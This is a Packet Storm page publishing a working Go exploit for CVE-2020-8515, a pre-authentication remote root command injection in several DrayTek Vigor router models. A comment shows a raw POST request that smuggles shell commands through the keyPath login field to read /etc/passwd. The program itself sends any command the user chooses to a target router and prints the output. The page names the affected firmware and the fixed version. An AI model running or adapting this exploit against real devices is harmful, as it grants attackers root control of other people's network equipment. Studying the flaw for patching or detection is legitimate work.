exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DrayTek Vigor2960 / Vigor3900 / Vigor300B Remote Command Execution

DrayTek Vigor2960 / Vigor3900 / Vigor300B Remote Command Execution
Posted Mar 31, 2020
Authored by 0xsha

DrayTek Vigor2960 version 1.3.1_Beta, Vigor3900 version 1.4.4_Beta, and Vigor300B versions 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta suffer from a remote command execution vulnerability.

tags | exploit, remote
advisories | CVE-2020-8515
SHA-256 | da216e7a3bcdc0e7690df8ecec6a4e14c871f9c105b3e89a4e2c3f6a11e45588

DrayTek Vigor2960 / Vigor3900 / Vigor300B Remote Command Execution

Change Mirror Download
package main


/*
CVE-2020-8515: DrayTek pre-auth remote root RCE
Mon Mar 30 2020 - 0xsha.io
Affected:
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
and 1.4.4_Beta
You should upgrade as soon as possible to 1.5.1 firmware or later
This issue has been fixed in Vigor3900/2960/300B v1.5.1.
read more :
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
exploiting using keyPath
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: 1.2.3.4
Content-Length: 89
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
*/

import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"strings"
)

func usage() {

fmt.Println("CVE-2020-8515 exploit by @0xsha ")
fmt.Println("Usage : " + os.Args[0] + " URL " + "command" )
fmt.Println("E.G : " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"" )
}

func main() {


if len(os.Args) < 3 {
usage()
os.Exit(-1)
}

targetUrl := os.Args[1]
//cmd := "cat /etc/passwd"
cmd := os.Args[2]


// payload preparation
vulnerableFile := "/cgi-bin/mainfunction.cgi"
// specially crafted CMD
// action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
payload :=`'
/bin/sh -c 'CMD'
'`
payload = strings.ReplaceAll(payload,"CMD", cmd)
bypass := strings.ReplaceAll(payload," ", "${IFS}")

//PostForm call url encoder internally
resp, err := http.PostForm(targetUrl+vulnerableFile ,
url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"} })

if err != nil{
fmt.Println("error connecting host")
os.Exit(-1)
}


defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)

if err != nil{
fmt.Println("error reading data")
os.Exit(-1)
}

fmt.Println(string(body))

}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close